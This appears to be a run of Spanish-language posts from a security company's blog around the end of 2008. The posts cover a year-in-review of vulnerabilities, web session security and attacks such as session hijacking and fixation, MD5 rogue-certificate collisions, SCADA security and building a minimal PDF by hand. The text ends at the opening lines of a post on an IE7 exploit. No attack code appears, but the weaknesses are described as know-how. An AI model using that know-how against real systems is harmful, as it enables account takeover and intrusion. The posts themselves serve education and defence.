Feliz año 2009

Apenas quedan dos horitas para que abandonemos el año 2008, y me gustaría recapitular con vosotros las principales noticias reflejadas en nuestro Blog. Dado que un año da para mucho, me centraré en la entrada de cada mes que, a mi juicio, resulta más destacable:

• Enero: Se anuncia que el sistema RFID Mifare ha sido comprometido. Esto implica que millones de tarjetas emitidas para el pago de tarifas en transporte público, así como en controles de acceso, tienen un nivel de seguridad efectivo equivalente a las antiguas tarjetas de baja frecuencia. Parece que el fabricante ha aprendido de su error (confiar en la seguridad por la oscuridad) y lo enmienda sacando las tarjetas Mifare Plus con algoritmo de cifrado AES-128. Ahora bien, el parque actual de lectores con soporte Mifare no es compatible con estas tarjetas.

• Febrero: Se crea un exploit para la consola Wii de Nintendo, accediendo por primera vez al 100% de los recursos de esta consola (hasta entonces sólo era posible acceder al hardware con capacidades reducidas, con el que se que ejecuta el software de la anterior generación, la GameCube). Esto abre un sinfin de posibilidades, como por ejemplo la carga del kernel Linux. Actualmente, dado el caracter online de las consolas de nueva generación, así como el uso de memoria flash, el fabricante intenta corregir la vulnerabilidad que permite ejecutar el exploit.

• Marzo: Tiene lugar la sexta edición del e-crime Congress en Londres. S21sec crea la unidad de inteligencia, vigilancia y lucha contra el fraude online. Es posible descargarse el informe sobre fraude online desde la portada de la página de S21sec.

• Abril: Se amplía la representación de S21sec en la geografía nacional abriendo oficina en León con INTECO.

• Mayo: Se descubre una gravísima vulnerabilidad en el paquete OpenSSL de las distribuciones Debian y derivadas, en la que el generador de números seudoaleatorios tiene un comportamiento muy predecible. Este fallo tiene graves repercusiones, ya que multitud de servicios dependen de estas librerías. Inmediatamente se procedió a corregir el problema pero, ¿cuántas máquinas habrán quedado expuestas por no haberse actualizado y regenerado certificados? Lo más preocupante es la ventana de tiempo transcurrido desde que se introdujo el error hasta que fue subsanado (bastantes meses).

• Junio: Nuestro compañero Luis Tarrafeta desarrolla una faceta que, aun perteneciendo al concepto de CIA , es frecuentemente olvidado. ¿Estamos seguros de tener garantizada la disponibilidad de nuestros datos a largo plazo? Hay iniciativas, pero no resuenan lo suficiente en la Web 2.0.

• Julio: Se anuncia una vulnerabilidad que afecta a la mayoría de los servidores DNS, y que a diferencia de a lo que estamos acostumbrados, se debe a las especificaciones del protocolo y no a su implementación.

• Agosto: Anunciada vulnerabilidad en el protocolo BGP, con un cierto paralelismo con el de los DNS: un protocolo diseñado hace años y sin tener en cuenta ciertas medidas de seguridad que hoy en día se hacen imprescindibles.

• Septiembre: Un grupo de hackers griegos burla el sistema de seguridad de la infraestructura informática del CERN para acceder a parte de los sistemas de información del LHC. Aunque no tiene mayor repercusión, sí que tiene una moraleja: no dejar de lado la seguridad digital en el desarrollo y explotación de proyectos de gran envergadura. Y no solo en complejos laboratorios, sino en entornos en los que haya tecnología SCADA involucrada.

• Octubre: Se trata una nueva forma de malware en la que se infecta el MBR del equipo informático con el fin de hacer dificil su detección. El troyano Sinowal tiene como finalidad el robo de la información bancaria introducida en el ordenador de la víctima. ¿Será el momento de empezar a pensar en una capa hypervisor de bajo nivel como la de la PlayStation 3 o la de los mainframes?.

• Noviembre: Se hace público un paper en el que se demuestra una debilidad del protocolo WPA con cifrado TKIP. Existen implementaciones prácticas que explotan esto, aunque conviene indicar que no se trata de algo grave.

• Diciembre: El CCC lleva a cabo una demostración en la que forjan en cuestión de horas un certificado SSL en el que se emplea la función resumen MD5, con la ayuda de una granja de 200 PlayStation 3. No es ninguna novedad que este algoritmo de hash está seriamente comprometido, quizá lo que haga falta para su destierro definitivo sean pruebas de concepto como esta.

Y llegados a este punto, y pidiendo disculpas a mis compañeros por haber dejado sin citar otros artículos del Blog igualmente interesantes, deseo a todos los lectores una feliz entrada de año.

Álvaro Ramón
S21sec labs

Seguridad en las sesiones de las aplicaciones Web II

Funcionamiento habitual de las aplicaciones que utilizan autenticación basada en cookies de sesión:

Sin entrar en las implicaciones de seguridad que tiene, una aplicación que basa el control de acceso de sus usuarios en cookies de sesión suele actuar de la siguiente forma:

1. Se crea una sesión vacía. (Sin datos asociados.)
2. Se le asigna esta sesión a un cliente que accede a la aplicación.
3. En este momento se pueden o no almacenar en la sesión unos datos iníciales sencillos. (Por ejemplo hora de acceso, dirección IP de origen, versión del navegador, etc.)
4. Se realiza el proceso de autenticación del usuario. (Mediante la solicitud de nombre de usuario y contraseña o mediante otro tipo de mecanismos de autenticación.)
5. Se almacenan en la sesión los datos relativos al usuario. Su nombre de usuario, su contraseña (si fuese necesario), si el proceso de autenticación fue correcto o no, etc.

 

Posteriormente la sesión será utilizada para distinguir al usuario legítimo de otros y mantener las variables asociadas a su trabajo con la aplicación.

 

Como hemos visto, la sesión puede tener varios estados (autenticado y no autenticado). Por tanto la posesión de una cookie de sesión no implica que el usuario se encuentre correctamente autenticado en la aplicación. Ni siquiera indica si el usuario ha pasado ya por el proceso de autenticación.

 

En muchas aplicaciones, la cookie de sesión se le asigna al usuario en la primera página que visita en el servidor, aunque el momento de la asignación de la cookie puede establecerse en otro punto. Posibles puntos de asignación de la cookie se sesión:

• En la primera pagina que visite el usuario. (Sea cual sea dentro de la aplicación.)
• En un punto concreto de la aplicación. (Por ejemplo una página de bienvenida.)
• Al iniciar el proceso de autenticación. (Por ejemplo en la página del formulario login.)
• Cuando ha finalizado el proceso de login. (El identificador de sesión se mantiene oculto hasta el último momento. Esta suele ser la opción más segura.)

 

Otra característica habitual de las aplicaciones basadas en cookies de sesión es que normalmente utilizan un API externo para el control de sesiones. La mayoría de lenguajes orientados al entorno web (PHP, ASP, Java) cuentan con un API específico para el control de sesiones.

 

También la mayoría de servidores de aplicaciones ofrecen APIs de este tipo, bien propias o bien derivadas del lenguaje base que utilicen.

Ejemplos de cookies estándar:

BEA WebLogic

------------

Set-Cookie: WebLogicSession=PLLHV8No5ImB2wUo2mupD49Bdo2HxEXq7OjhAAEl1EP6tMr1KbtI|-2011799079004677001/-1062729195/6/7001/7001/7002/7002/7001/-1|-3433517045111774782/-1062729194/6/7001/7001/7002/7002/7001/-1; path=/

Microsoft IIS

-------------

Set-Cookie: ASPSESSIONIDGQQGQYDC=KDGFBFGBLPNCMIIELPAINNJH; path=/

IBM WebSphere Application Server

--------------------------------

Set-Cookie: sesessionid=ZJ0DMWIAAA51VQFI50BD0VA;Path=/

PHP

---

Set-Cookie: PHPSESSID=d9d9c6a28343e74613d9a901f68c3397; path=/

Esto hace que algunos factores relacionados con la seguridad estén bastante controlados por defecto, como por ejemplo: la aleatoriedad de la cookie, la protección frente a colisiones, posibles errores en el manejo del array interno de variables, etc.

 

En este sentido el uso de un API centralizado es positivo, sin embargo existe un riesgo en servidores que hospedan varias aplicaciones que comparten el mismo pool de sesiones. En estas situaciones, si el programador no ha sido cuidadoso, pueden aparecer vulnerabilidades derivadas del uso de la misma sesión en 2 o más aplicaciones distintas.

 

 

Vulnerabilidades típicas en el manejo de sesiones:

 

Los errores que se pueden producir en una aplicación cuando se realiza una manipulación de sus cookies de sesión pueden ser muy variados, aunque los más habituales son los siguientes:

 

• Revelación de datos internos en la cookie: Como hemos comentado, el identificador de sesión no debe contener datos internos. Si la cookie incluye información no aleatoria, un atacante puede analizarla y sacar conclusiones sobre el estado interno de la aplicación. Todas las variables relacionadas con la sesión deben ser almacenadas internamente para garantizar su secreto.

 

• Identificador de sesión predecible: Si el identificador de sesión que genera el servidor es predecible, cualquier usuario puede ser suplantado (Session-hijacking) ya que el valor que lo identifica frente a la aplicación, puede ser adivinado y utilizado por cualquier otro usuario.

 

• Autenticación insuficiente: Se produce cuando la aplicación no comprueba correctamente el estado de la sesión del usuario. Es habitual que algunas aplicaciones para dar acceso a secciones protegidas simplemente comprueben que el usuario cuenta con un identificador de sesión, sin comprobar si se ha realizado correctamente el proceso de autenticación y sin comprobar que el estado de la sesión es correcto.

 

Como hemos visto, la mera posesión de un identificador de sesión no es suficiente para autorizar a un usuario ya que este puede haber conseguido el identificador en otra aplicación del mismo pool o haber obtenido una sesión en blanco.

 

• Reutilización de sesión: Esto se produce cuando la sesión no es correctamente borrada cuando el usuario termina su actividad. De esta forma el usuario puede seguir utilizando la sesión para volver a autenticarse o acceder a otras aplicaciones que comparten el pool de sesiones.

 

• Fijación de sesión (Session-fixation): Técnica de ataque consistente en obtener un identificador de sesión valido y forzar a otro usuario para que lo utilice y así poder suplantarle una vez se encuentre dentro de la aplicación.

En la próxima entrega comenzaremos a analizar los principales ataques sobre las sesiones de las aplicaciones web.

Feliz año nuevo a todos!

Ramon Pinuaga

S21sec Auditoría

¿Siguen sin ser preocupantes las colisiones MD5?

Se acaba de realizar una presentación en la CCC donde se ha demostrado que es posible llevar a cabo un ataque basado en la debilidad del MD5 y sus colisiones. Se ha conseguido suplantar una AC intermedia de tal manera que se pueden firmar todos los certificados que se deseen. Y sí, el coste computacional es elevado (se ha utilizado una granja de 200 PlayStation 3), pero factible, por ejemplo con una buena red distribuida o una buena botnet ;)

Los 7 investigadores involucrados son Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne Osvik y Benne de Wege.

Una vez vistas las orejas al lobo, ¿se dejará de utilizar definitivamente MD5? ¿Se pasará a SHA? La gente pulsa Aceptar aunque el certificado no sea válido, pero ahora no hace falta ni eso.

¿Seguimos necesitando de una prueba real para creer que un ataque teórico es serio? Esto es una prueba de que no debería ser así. Realmente no se ha presentado ninguna novedad técnica aunque, como bien decían en la charla, las colisiones MD5 se presentaron hace años, pero parece que mientras no se publique una utilidad que permita hallar una colisión con dos clicks y tarde 5 minutos no es un descubrimiento importante. La teoría bien fundamentada es tan importante como la práctica.

Diapositivas:
http://www.phreedom.org/research/rogue-ca/md5-collisions-1.0.ppt

Descripción detallada:
http://www.win.tue.nl/hashclash/rogue-ca/

Web de prueba (el certificado caduca en septiembre del 2004):
https://i.broke.the.internet.and.all.i.got.was.this.t-shirt.phreedom.org/

Según parece el video estará disponible en breve en la web de la CCC.

Mikel Gastesi
S21sec e-crime

Seguridad en las sesiones de las aplicaciones Web I

Hoy comenzamos una nueva serie de artículos sobre la gestión de sesiones en las aplicaciones Web, en este primer artículo haremos un repaso de los principales conceptos del tema.

Definiciones iniciales

El manejo de sesiones Web es una técnica o herramienta que permite vincular información a un usuario en concreto durante el proceso de visita a un sitio Web.

Esta herramienta se utiliza habitualmente para labores de autenticación y seguimiento de la actividad de los usuarios en aplicaciones que tienen partes privadas para las que se necesita algún tipo de control de acceso.

El manejo de sesión facilita y unifica las tareas de control y supervisión de accesos, pero si presenta alguna vulnerabilidad puede dar al traste con la seguridad de toda la aplicación.

Cookies y Sesiones:

Una cookie es un fragmento de información que se almacena en el navegador del visitante de una página, a petición del servidor de la misma. Esta información puede ser luego recuperada por el servidor en posteriores visitas para que se pueda conservar información entre una página y otra ya que el protocolo HTTP es incapaz de mantener información por sí mismo.

Los usos más frecuentes de las cookies son:

• Mantener opciones de visualización.
  
• Almacenar variables.
  
• Realizar un seguimiento de la actividad de los usuarios.
  
• Autenticación.

Una sesión web consiste en un array de datos que se mantiene en el servidor. Cada sesión viene identificada por un código único que se utiliza para hacer referencia a la misma. (Identificador de sesión)

En la sesión se pueden almacenar una serie de variables que serán conservadas hasta que se produzca su caducidad o sea explícitamente borrada

Cookies de Sesión:

Cuando una cookie se usa para autenticación normalmente se hace mediante la utilización de sesiones. En la cookie se almacenara el identificador de una sesión que será asociada al usuario que accede a la aplicación.

Para que una cookie de sesión se considere segura debe cumplir una serie de condiciones:

• La única información que debe contener será el identificador de la sesión asociada. El resto de variables se almacenara internamente en el array que se encuentra en el servidor.
  
• El identificador de sesión debe ser único, aleatorio y no predecible. Con el fin de evitar suplantaciones de identidad.
  
• Las variables almacenadas en la sesión, deben permanecer lo más protegidas posible del exterior. El usuario no debe conocer su nombre ni su valor, y tampoco podrá modificarlas a voluntad.
  
• Cuando el usuario ha terminado su actividad o ha transcurrido un periodo de tiempo prudencial, la sesión debe borrarse.

Hasta la próxima

Ramon Pinuaga

S21sec  Auditoría

Concienciación en seguridad, la asignatura pendiente

En varias ocasiones ha salido el término DLP en este blog. Este post trata sobre el problema de fondo sin entrar en soluciones técnicas.

Los niveles de complejidad para administrar la seguridad de las organizaciones están en constante crecimiento. Las personas que integran una organización, están expuestas a enormes cantidades de información fuera de su campo de conocimiento, pero que son claves para proteger la seguridad de su entorno.

Las noticias de pérdidas de datos siguen un patrón de crecimiento.
Lost, missing, unencrypted [poner aquí cualquier dispositivo móvil con datos confidenciales], y, accidentally inadvertantly, improperly [hechos públicos de alguna manera], son las principales causas de los mayores incidentes de seguridad relacionados con perdidas de datos en las organizaciones. En ellas, podemos observar un patrón de falta de concienciación en la seguridad, y más, bajo el manejo de datos confidenciales.

Las fugas de datos en una organización pueden tomar miles de formas distintas. Pero todas se pueden encuadrar en los dos tipos principales:

• Por descuido
• Intencionadas

Ambos tipos, especialmente las de "por descuido" están ocurriendo más comunmente de lo que pensamos, en parte, porque se llevan a cabo fácilmente sin necesidad de complejos ataques técnicos y en parte, porque la gran mayoría de los empleados no conocen la política de seguridad del lugar en el que trabajan.




Sumando a lo anterior, los empleados tienen una gran ventaja sobre externos que quieran dañar a la compañía. Pueden pasar a través de medidas de seguridad físicas y técnicas diseñadas para prevenir accesos no autorizados. Los sistemas firewall, IDS, y antivirus están implementados con la función principal de defender contra ataques externos. Y sí a todo ello le añadimos la falta de concienciación en las políticas de seguridad, y procedimientos, nos podemos encontrar con verdaderas amenazas internas.

Pongamos un ejemplo, actualmente es común que los empleados accedan a la red de su oficina desde cualquier ubicación remota, y también es cada vez más común el uso de dispositivos móviles smartphones, y pdas, de los cuales ya tratamos el tema del malware.
Sin embargo, ¿estamos respondiendo adecuadamente a estas nuevas amenazas potenciales educando a nuestros usuarios?

La información es uno de los activos más valiosos, nos podemos gastar cientos de miles de euros en proteger los sistemas que la almacenan, ¿pero cuanto invertimos en la concienciación de nuestros usuarios?
Las estadísticas y noticias diarias sobre pérdidas de datos, nos están mostrando sólo la punta de un iceberg.

Aquí dejo un interesante recurso sobre Investigación en amenazas internas

Emilio Casbas
S21sec labs

Códigos UMTS

Hace unos cuantos post, se han realizado una serie de actuaciones acerca de las redes de telefonía móvil, GSM/GPRS y UMTS, ambas vistas más desde el punto de vista de transmisión de datos que de transmisión de voz.

Recordemos el esquema general de una red UMTS.

Ahora vamos a tratar de aclarar otro concepto importante: ¿Cómo se sabe en UMTS quién envía la información y cómo sabemos cuanta potencia o qué ancho de banda utilizamos?. Para poder resolver a esta pregunta, dentro del interfaz aire (comunicación entre el Nodo-B, antena y el TE, terminal de usuario) se utilizan dos códigos principales. Uno de ellos identifica a la fuente, mientras que el segundo identifica la cantidad de ancho de banda a utilizar.

Empecemos por el primero. Código de Scrambling:

Recordar que mientras que en GSM/GPRS se distinguía a la fuente (terminal o antena) porque cada uno utilizaba una frecuencia diferente (aunque se reutilizasen en celdas no adyacentes), en UMTS se utiliza la identificación de la fuente a través de un código diferente. Debido a que todas las fuentes emiten en la misma frecuencia, es necesario que estos códigos sean lo más ortogonales posibles, de forma que al realizar la operación de convolución, el resultado sea nulo o casi nulo, si no hay correspondencia de códigos y la unidad si es el mismo código. Así tanto las estaciones base como los terminales de usuario emiten con un código único (por lo menos en la zona de transmisión) y es fácilmente identificable el obtener la señal transmitida por cada uno de ellos eliminando la interferencia generada.

¿Cómo seleccionamos la cantidad de ancho de banda y como resultado del mismo, de la potencia de emisión?, con los códigos de Spreading. En UMTS siempre se emite la misma cantidad de bits (que no de información) 3,85 Mcps, esta información contiene el código de scrambling (identificamos a la fuente) y el de spreading. Cuando menos ancho de banda utilizamos mayor será el código de spreading, por lo que será necesario transmitir con menos potencia. Estos códigos al igual que en el caso de de scrambling, deben ser ortogonales y sólo podrán ser utilizamos una vez por cada fuente emisora, es decir, si en un enlace de bajada (transmisión a través de un nodo-b) utilizamos un código de spreading x, para otro usuario no podremos utilizar el mismo, aunque sí otro (si quedan disponibles) y que proporcione el mismo ancho de banda. Al final para entenderlo mejor, cada fuente cuenta con un árbol de códigos que no pueden ser utilizados más que una vez, y que en función de su tamaño permiten transmitir más o menos cantidad de datos. Esto se puede apreciar en la siguiente figura:

El SF (Spreading Factor) es el resultado de dividir los bits transmitidos totales (denominados chips) entre los bits de información útil. Es decir un SF de 4 indica que transmitimos 4 veces más bits que la información enviada. El proceso de "ensamblado/desensamblado" de la información para varios usuarios se puede ver en la siguiente figura:

Al final el proceso global se puede observar en la siguiente imagen:

Como se ha comentado anteriormente se utilizan los diferentes códigos de spreading para poder transmitir a diferentes bit rates dentro de la misma fuente, ¿para qué?, simplemente porque desde una estación base podemos estar dando servicio a diferentes usuarios que requieran diferentes anchos de banda, como por ejemplo, una vídeo-llamada, una llamada de voz, o una transmisión de datos de alta capacidad, además de los canales lógicos (mapeados con su correspondiente SF) donde se emite la información de control, broadcast, etc… de la red.

Enlaces de interés:

Umtsworld

Introducción a WCDMA
METHOD AND SYSTEM FOR SPREADING AND SCRAMBLING DOWNLIKE PHYSICAL CHANNELS
UMTS Capacity and Throughput Maximization for Different Spreading FactorsOverview of UMTS-WCDMA Technology
EVALUACIÓN DEL COMPORTAMIENTO DEL NIVEL FÍSICO DE UN SISTEMA UMTS

José María Arce Guillén

S21sec e-crime

Antivirus en Linux

En un post anterior hemos hablado de la necesidad o no de utilizar un antivirus en MacOS. El caso de este sistema operativo y de Linux es bastante parecido en el sentido de que hay muy poco malware y se suele decir que "no hay virus".

Los motivos dados para el caso del sistema operativo de Apple siguen siendo válidos. El software pirateado y los cracks de origen (casi) siempre dudoso es incluso menos frecuente. La gran mayoría del software se instala de repositorios oficiales de alguna distribución o de paquetes (o código fuente) proporcionados por los creadores del software. Esto también favorece que la gente actualice el software que utiliza en lugar de mantener una versión vulnerable por no crackear la nueva. Además el propio kernel permite filtrar el tráfico según las reglas que se indiquen, en el uso normal se utiliza un usuario sin privilegios de root y últimamente muchas distribuciones incluyen medidas como AppArmor o SELinux que dificultan aún más el que un exploit pueda ser utilizado para infectar una máquina.

A pesar de todo esto, hay más software antivirus de lo que uno podría esperar en principio. En una búsqueda rápida se pueden encontrar versiones para linux de muchos viejos conocidos en windows como kaspersky ,avira o nod32 entre otros, así como antivirus open source.

Si Linux fuera un sistema operativo más extendido seguro que habría mucho más malware y estaría en el punto de mira como lo está windows y cada vez más MacOS. En ese caso el uso de un antivirus sería algo común y recomendable entre los usuarios pero no es así y por eso sorprende que haya tantos antivirus. En realidad la explicación es simple. Mucho de este software está pensado para servidores donde Linux sí está extendido y pueden utilizarse en un ordenador de sobremesa. Aunque puede ser una buena idea proteger un servidor y escanear los correos o ficheros que se van a enviar, no parece necesario en el caso de un ordenador de sobremesa. Todo depende de lo maniático de la seguridad que sea el usuario ;)

Y vosotros, ¿Consideráis necesario el uso de un antivirus en Linux en un servidor o en una estación de trabajo? ¿Qué medidas y software de seguridad utilizáis/utilizaríais en vuestro ordenador de sobremesa con Linux?

Patxi Astiz
S21sec labs

IMS: Introducción

Este es el primero de una serie de posts a través de los cuales trataré de explicar qué es IMS y como funciona, haciendo hincapié en las características en cuanto a la seguridad de esta arquitectura.

IMS o IP Multimedia Subsystem es un estándar de arquitectura de redes de próxima generación (NGN) para operadores de telefonía que quieren proveer servicios multimedia fijos y móviles.

IMS representa la convergencia entre los servicios multimedia fijos y móviles; gracias a esta arquitectura, los usuarios podrán acceder a los mismos servicios, tales como, chat, telefonía, mensajería instantánea, e-mail etc. independientemente de si acceden a un sistema IMS a través de su teléfono móvil o de su conexión ADSL (es lo que en inglés se conoce como "access agnostic").

Otra cosa que tenemos que tener en cuenta es que IMS no define las aplicaciones o servicios que pueden ofertarse al usuario final, sino la infraestructura y capacidades del servicio que los operadores o proveedores de servicio pueden emplear para construir sus propias aplicaciones y producir su oferta de servicios.

Algunas de las características más importantes de esta arquitectura son:

• La comunicación orientada a sesión de un usuario a otro(s) usuario(s), o de un usuario a un servicio.
• La comunicación en tiempo real o diferido.
• Las sesiones IP multimedia compuestas por flujos y contenidos multimedia diversos, con un nivel adecuado de Calidad de Servicio para vídeo, audio y sonido, texto, imagen, datos de aplicación, etc.
• El uso de los protocolos IP y SIP.
  

Con IMS surge el concepto de All-IP.La arquitectura All-IP es una visión industrial sobre el futuro de las redes de comunicaciones, que ofrece diversos modos de acceso que se integran de forma transparente en una capa de red basada en el protocolo de Internet IP.

¿Pero, quién demonios se está "inventando" todo esto?

Son dos los actores principales en la definición de la arquitectura IMS; el grupo 3GPP y el grupo denominado TISPAN perteneciente a la organización ETSI.

Aunque IMS fue originalmente definido por el grupo 3G.IP (un foro de empresas pertenecientes a la industria de las telecomunicaciones creado en 1999), el grupo 3GPP adoptó la definición de IMS como parte del proceso de estandarización de sistemas móviles 3G en redes UMTS. A partir de la release 7 de la especificación de la arquitectura IMS, el 3GPP añadió soporte para redes telefónicas fijas, en colaboración con el grupo TISPAN.

Se podría decir que mientras que el grupo 3GPP representa el punto de vista de los operadores de telefonía móvil (la constante creación de nuevas aplicaciones/servicios), el grupo TISPAN aporta el punto de vista (y las especificaciones) de los operadores telefonía fija, aportando la convergencia redes móviles/redes fijas mencionada en la introducción del post.

¿Cómo es la arquitectura IMS?

La arquitectura IMS se puede dividir en tres capas diferentes:

• La capa de aplicación, en la que se encontrarían los servidores de aplicaciones (AS o Application Server) y un HSS (Home Subscriber Server), dispositivo similar al HLR (de hecho se puede considerar una "evolución" de este último) de las redes GSM. Para más información sobre HLRs y autenticación en sistemas UMTS os recomiendo leer estos posts.
  
• La capa de control, que está formada por diferentes subsistemas entre los que se encuentran el núcleo de la arquitectura IMS.
• La capa de transporte, constituida por el equipo de usuario (UE o User Equipment), la red de acceso a IMS (Access Network), el NASS (Network Attachment Subsystem) y el RACS (Resource Admission Control Subsystem). Tanto el NASS como el RACS son elementos estandarizados por el grupo TISPAN que no pertenecen a la arquitectura IMS pero de suma importancia, ya que interactúan con diferentes interfaces y componentes de la arquitectura IMS.

Es muy importante tener en cuenta que IMS es parte de una arquitectura funcional, así pues, muchas de las cajitas (componentes de la arquitectura IMS) que vemos en el dibujo pueden ser implementadas en un único dispositivo de hardware.

Resumiendo:

Tenemos la definición de una arquitectura de un sistema de telecomunicaciones, hecha por un grupo denominado 3GPP y completada por otro grupo denominado TISPAN, compuesta de 3 capas, (aplicación, control y transporte) gracias a la cual se podrán ofrecer una gran variedad de servicios multimedia que se podrán consumir desde diferentes dispositivos, ya sean móviles o fijos.

A la vuelta de las vacaciones de Navidad, trataremos el funcionamiento de esta arquitectura, centrándonos en los servidores de aplicaciones (AS), así como en la arquitectura del Access Network y la seguridad en IMS en general.

Feliz navidad a todos!!


Asier Marruedo
S21sec e-crime

Ideas erróneas en Sistemas SCADA

Según el documento publicado en 2001 “Understanding SCADA SystemSecurity Vulnerabilities” existen los siguientes conceptos erróneos dentro del mundo SCADA:

• Idea errónea 1: “Los sistemas SCADA se encuentran separados físicamente en una red autónoma”. La mayoría de los sistemas SCADA originalmente fueron construidos para funcionar de manera autónoma. Hoy en día, las redes informáticas de las compañías han crecido mucho, de tal forma que la red corporativa en muchos casos ha llegado a “engullir” a las redes de los sistemas SCADA, además debido a las necesidades de las compañías, muchas redes SCADA se han interconectado, siendo ahora accesibles desde Internet.

• Idea errónea 2: “Las conexiones entre las redes de sistemas SCADA y las redes corporativas están protegidas por fuertes controles de acceso”. Muchas de las interconexiones entre las redes corporativas y los sistemas SCADA requieren la integración de sistemas con diferentes estándares de comunicaciones. El resultado suele ser una infraestructura diseñada para transmitir datos con éxito entre dos sistemas, dejando de lado las principales consideraciones de seguridad. Debido a esto, los controles de acceso diseñados para proteger a los sistemas SCADA de accesos no autorizados a través de las redes corporativas suelen ser mínimos.

• Idea errónea 3: “Los sistemas SCADA requieren conocimientos especializados, haciendo difícil el acceso y la toma de control a los intrusos”. Esta afirmación es totalmente equívoca, puesto que nunca se puede subestimar a una persona basándose únicamente en hipótesis.
  Debido al hecho de que las empresas de servicios públicos representan a uno de los componentes claves de las infraestructuras críticas nacionales, estas empresas son objetivos factibles de ataques coordinados por parte de ciber-terroristas, así como de ataques perpetrados por hackers.
  

Hoy en día, la tecnología ha avanzado mucho y disponemos ya de varios dispositivos y técnicas que nos pueden ayudar a la hora de intentar securizar a nivel lógico una red SCADA , voy a presentar algunos de los más importantes:

• Firewalls: Protegen a los distintos dispositivos de la red a través de la monitorización y control de paquetes, usando políticas de filtrado. Ya existen extensiones que les permiten inspeccionar paquetes de protocolos de control como Modbus.

• IED: Sensor/actuador con inteligencia para adquirir datos, comunicarse con otros dispositivos y realizar control local. Estos sistemas representan la evolución de los sensores/actuadores tradicionales, incorporando arquitectura microprocesador que les permite incluir funciones criptográficas en las versiones más modernas.

• IDS: Sistemas de detección de intrusiones o IDS (Intrusion-Detection Systems) monitorizan el tráfico de red y envían alertas sobre actividades sospechosas siendo capaces de interpretar los distintos protocolos de comunicaciones existentes en la red SCADA.

• DMZ: Zona desmilitarizada o red perimetral, para separar la red corporativa de la red SCADA. Son numerosas las guías de buenas prácticas que recomiendan la implantación de zonas desmilitarizadas en las que incluir aquellos servidores de la red de control a los que se debe garantizar acceso desde la red corporativa.

• Servidor de autenticación: Los usuarios y servidores de red se autentican utilizando criptografía. Se empiezan a implantar para garantizar el mantenimiento remoto de los sistemas SCADA.

• UTM: Gestión unificada de amenazas o UTM (Unified Threat Management) Firewall de red con una serie de mejoras añadidas, incluyendo protección contra amenazas, virus, spam, etc.

Si bien es cierto que el abanico de soluciones de seguridad aptas para entornos SCADA empieza a ser cada vez mayor, no lo es menos que todavía existen múltiples instalaciones en las que no se ha tomado en serio su implantación. Hay que entender que se trata de sistemas donde prima la operatividad y eficacia por encima de todas las cosas, y por tanto resulta complejo implantar medidas de seguridad. ¡Si algo tan crítico funciona, para qué tocarlo!, Resulta vital por tanto concienciar a todos los responsables de las empresas de servicios públicos, donde los sistemas SCADA se encargan de dar funcionamiento a una larga lista de aplicaciones críticas, de la importancia que tiene aplicar este tipo políticas, ya que está en juego nuestra calidad de vida.

Daniel Herreras Rodríguez

S21Sec Labs

My HelloWorld PDF

Antes de ver hasta dónde podemos llegar con las diferentes acciones que se pueden "programar" en el cuerpo de un PDF, y para hacerlo más práctico, necesitaremos un documento que podamos modificar a nuestro antojo. Si abrís un PDF cualquiera con un editor de texto veréis mil objetos y elementos que os pueden confundir un poco. Por ello, la idea es crear un documento PDF desde cero con un editor de texto, eliminando así todo lo innecesario.

Para ponernos manos a la obra necesitaremos saber cuáles son los campos y objetos sin los que no puede vivir un PDF. Ya vimos hace unas semanas la estructura lógica y física de un documento de este tipo, además de los objetos que nos podemos encontrar. Por esta razón únicamente iré nombrando lo que nos hará falta:

• Cabecera del fichero: %PDF-1.5 (la versión a gusto del creador).

• Cuerpo: debe incluir los objetos diccionario que especifican el catálogo, el nodo raíz del árbol de páginas y una página hija. Es decir necesitamos 3 objetos como mínimo, que podemos numerar consecutivamente, empezando a contar desde el 1. El orden en que coloquéis estos objetos no importa, ya que el quid de la cuestión es desde dónde se referencian y si están correctamente indexados en la tabla de referencias cruzadas. A continuación comento los campos obligatorios que debe tener cada objeto:

• Catálogo: debe incluir un elemento /Type con el valor /Catalog, indicando el tipo de objeto de que se trata. Además tendremos que incluir una referencia indirecta al diccionario que define el nodo raíz del árbol de páginas del PDF (/Pages).

• Nodo raíz del árbol de páginas: un elemento /Type con el valor /Pages es obligatorio, así como un objeto de tipo Array con nombre /Kids y que debe contener referencias indirectas a los nodos hijos, ya sean nodos intermedios o no. También tendremos que incluir un elemento /Count indicando los nodos hoja que descienden de este nodo, aunque por lo que he podido ver si el número no es correcto no importa demasiado.

• Nodo hoja del árbol de páginas: se trata de un objeto página que, al igual que los anteriores, debe contener un elemento /Type, ésta vez con valor /Page. Adicionalmente deberemos especificar una referencia indirecta al objeto que define el nodo padre de este nodo (precedido por el nombre /Parent), un diccionario etiquetado con /Resources, y que debe estar vacío en caso de no ser necesario ningún recurso en la página. Si este elemento no se incluye se considera heredado de un nodo superior en el árbol. Por último será necesario también un objeto de tipo Array, precedido del nombre /MediaBox, conteniendo las coordenadas de la esquina inferior izquierda y superior derecha de un rectángulo, y que servirán para definir el espacio físico donde se mostrará el contenido del documento.

• Tabla de referencias cruzadas: cada sección comienza con la palabra xref seguida de una o varias subsecciones. Cada subsección contiene una línea con dos números, el número del primer objeto de la subsección y el número de objetos de la subsección. Además de esta línea, cada subsección contendrá varias líneas con objetos consecutivos, además de objetos liberados, que estaban en uso pero ya no. Cada una de estas líneas contiene exactamente 20 bytes, formados por 10 dígitos describiendo el número de bytes desde el principio del documento al comienzo del objeto, 5 dígitos del número de generación, una letra indicando el estado del objeto (n cuando es nuevo y f si se ha liberado), y el fin de línea, que estará precedido por un espacio adicional en el caso de que sea un sólo carácter. Los distintos elementos se separan unos de otros mediante espacios. En nuestro caso, únicamente necesitaremos una sección y una subsección, una línea por cada objeto usado en el documento (3) y otra para un objeto liberado obligatorio.

• Trailer: como ya se describió en el primer post, sólo es necesario añadir que el diccionario que sigue a la palabra trailer debe contener como mínimo el número de entradas de la tabla de referencias cruzadas (/Size) y una referencia indirecta al catálogo del documento (/Root).

Teniendo en cuenta todo esto ya podremos construir nuestro primer PDF, os dejo uno de prueba aquí. Seguramente habrá cosas que me habré dejado en el tintero, pero para un estudio más detallado os animo a consultar la documentación pertinente. No he dicho nada sobre escribir contenido en el PDF, ¿qué tal un “Hello World”? pero eso ya lo dejo para vuestra práctica personal;)


Jose Miguel Esparza
S21sec e-crime

Exploit de IE7 aprovechado para infección masiva

Desde que se hizo público el exploit para Internet Explorer 7 (curiosamente el día después de la actualización mensual de seguridad de Microsoft), ya ha empezado a usarse para la infección masiva de usuarios.

